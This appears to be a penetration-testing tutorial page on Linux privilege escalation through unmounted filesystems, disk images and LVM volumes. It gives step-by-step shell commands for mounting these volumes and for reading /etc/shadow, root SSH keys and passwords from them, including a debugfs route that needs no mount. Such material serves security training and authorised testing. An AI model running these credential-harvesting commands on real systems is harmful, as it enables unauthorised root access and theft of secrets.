Skip to content
HackIndex logo

HackIndex

Unmounted Filesystem Privilege Escalation

4 min read Jul 14, 2026

Unmounted filesystems — backup partitions, disk images, LVM volumes — frequently contain credential files, SSH keys, old /etc/shadow copies, and scripts executed by root. If you can mount them, you access their contents directly as if they were part of the live filesystem. No kernel exploit or SUID binary needed.

Prerequisites Check

Establish what is currently mounted versus what exists on disk:

┌──(kali㉿kali)-[~]
└─$ # What is currently mounted
┌──(kali㉿kali)-[~]
└─$ mount | column -t
┌──(kali㉿kali)-[~]
└─$ cat /proc/mounts
 
┌──(kali㉿kali)-[~]
└─$ # All block devices including unmounted
┌──(kali㉿kali)-[~]
└─$ lsblk -f
┌──(kali㉿kali)-[~]
└─$ lsblk -o NAME,FSTYPE,SIZE,MOUNTPOINT,LABEL
 
┌──(kali㉿kali)-[~]
└─$ # All partitions with UUIDs
┌──(kali㉿kali)-[~]
└─$ blkid 2>/dev/null
 
┌──(kali㉿kali)-[~]
└─$ # Low-level partition table
┌──(kali㉿kali)-[~]
└─$ fdisk -l 2>/dev/null

Compare /proc/mounts against /etc/fstab to find defined but unmounted entries:

┌──(kali㉿kali)-[~]
└─$ cat /etc/fstab 
# Example vulnerable entry:
/dev/sdb1 /mnt/backup ext4 defaults 0 0
/dev/mapper/vg-backup /backup ext4 defaults 0 0
/home.img /mnt/home ext4 loop,rw 0 0

Any line in /etc/fstab with a valid device but no corresponding entry in /proc/mounts is a candidate. Look especially for:

Mount Without Root — User-Mountable Entries

Check /etc/fstab for the user or users mount option — these allow unprivileged mounting:

┌──(kali㉿kali)-[~]
└─$ grep -E '\buser\b|\busers\b' /etc/fstab

Example vulnerable entry:

┌──(kali㉿kali)-[~]
└─$ /dev/sdc1 /media/data ext4 user,rw,noauto 0 0

Mount directly:

┌──(kali㉿kali)-[~]
└─$ mount /media/data
ls -la /media/data/

Mount With sudo

Check if mount is permitted via sudo:

┌──(kali㉿kali)-[~]
└─$ sudo -l | grep -i mount

If allowed:

┌──(kali㉿kali)-[~]
└─$ mkdir -p /tmp/mnt
┌──(kali㉿kali)-[~]
└─$ sudo mount /dev/sdb1 /tmp/mnt
┌──(kali㉿kali)-[~]
└─$ ls -la /tmp/mnt/

Or mount a specific fstab entry by path:

┌──(kali㉿kali)-[~]
└─$ sudo mount /mnt/backup

Mount Without sudo or user Flag

If you have no sudo and no user-mountable entries, check whether you can write to the device file directly — rare but occurs on misconfigured systems:

┌──(kali㉿kali)-[~]
└─$ ls -la /dev/sd* /dev/vd* /dev/xvd* 2>/dev/null

If a device is readable, use debugfs to access ext2/3/4 filesystems without mounting:

debugfs /dev/sdb1
debugfs: ls /
debugfs: cat /etc/shadow
debugfs: cat /root/.ssh/id_rsa

This requires no mount privileges and no root. Works on ext2/3/4 only.

Loop-Mounted Disk Images

Disk images defined in fstab or found on the filesystem:

┌──(kali㉿kali)-[~]
└─$ # Find disk images
┌──(kali㉿kali)-[~]
└─$ find / -name "*.img" -o -name "*.iso" -o -name "*.vmdk" -o -name "*.vhd" 2>/dev/null | grep -v proc
 
┌──(kali㉿kali)-[~]
└─$ # Check fstab for loop entries
┌──(kali㉿kali)-[~]
└─$ grep loop /etc/fstab

Mount a raw image:

┌──(kali㉿kali)-[~]
└─$ mkdir -p /tmp/img
┌──(kali㉿kali)-[~]
└─$ sudo mount -o loop /path/to/backup.img /tmp/img
┌──(kali㉿kali)-[~]
└─$ ls -la /tmp/img/

If the image has multiple partitions, find the offset first:

┌──(kali㉿kali)-[~]
└─$ fdisk -l /path/to/backup.img
┌──(kali㉿kali)-[~]
└─$ # Note the Start sector of the partition you want
┌──(kali㉿kali)-[~]
└─$ # Offset = Start * 512
 
┌──(kali㉿kali)-[~]
└─$ sudo mount -o loop,offset=$((START * 512)) /path/to/backup.img /tmp/img

LVM Volumes

LVM logical volumes are common in enterprise environments and often contain backup or old system data:

┌──(kali㉿kali)-[~]
└─$ # List volume groups
┌──(kali㉿kali)-[~]
└─$ sudo vgscan 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ sudo vgs 2>/dev/null
 
┌──(kali㉿kali)-[~]
└─$ # Activate all volume groups
┌──(kali㉿kali)-[~]
└─$ sudo vgchange -ay 2>/dev/null
 
┌──(kali㉿kali)-[~]
└─$ # List logical volumes
┌──(kali㉿kali)-[~]
└─$ sudo lvs 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ sudo lvdisplay 2>/dev/null
 
┌──(kali㉿kali)-[~]
└─$ # Or use lsblk which works without sudo
┌──(kali㉿kali)-[~]
└─$ lsblk | grep -i lvm
┌──(kali㉿kali)-[~]
└─$ ls /dev/mapper/

Mount an LVM volume:

┌──(kali㉿kali)-[~]
└─$ mkdir -p /tmp/lvm
┌──(kali㉿kali)-[~]
└─$ sudo mount /dev/vg_name/lv_name /tmp/lvm
┌──(kali㉿kali)-[~]
└─$ ls -la /tmp/lvm/

What to Look For After Mounting

Work through these in priority order:

Authentication files:

┌──(kali㉿kali)-[~]
└─$ cat /tmp/mnt/etc/shadow 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ cat /tmp/mnt/etc/passwd 2>/dev/null

If shadow is readable, crack the root hash — see https://hackindex.io/platforms/linux/privilege-escalation/passwd-shadow-manipulation.

SSH keys:

┌──(kali㉿kali)-[~]
└─$ find /tmp/mnt -name "id_rsa" -o -name "id_ed25519" -o -name "authorized_keys" 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ cat /tmp/mnt/root/.ssh/id_rsa 2>/dev/null

A root SSH key from the backup may still be valid on the live system.

Credentials in config files:

┌──(kali㉿kali)-[~]
└─$ find /tmp/mnt -name "*.conf" -o -name "*.env" -o -name ".env" -o -name "*.ini" 2>/dev/null | head -20
┌──(kali㉿kali)-[~]
└─$ grep -r "password\|passwd\|secret\|token\|key" /tmp/mnt/etc/ 2>/dev/null | grep -v Binary

See https://hackindex.io/platforms/linux/privilege-escalation/credential-hunting for a full credential search workflow.

Scripts executed by root:

┌──(kali㉿kali)-[~]
└─$ cat /tmp/mnt/etc/crontab 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ ls /tmp/mnt/etc/cron.d/ 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ find /tmp/mnt/opt /tmp/mnt/usr/local /tmp/mnt/root -name "*.sh" 2>/dev/null

If a script from the mounted filesystem is also present on the live system and executed by root, check if it is writable — see https://hackindex.io/platforms/linux/privilege-escalation/cron-job-privilege-escalation.

Cleanup

Unmount after extraction to avoid interfering with system operations:

┌──(kali㉿kali)-[~]
└─$ sudo umount /tmp/mnt
┌──(kali㉿kali)-[~]
└─$ rmdir /tmp/mnt

References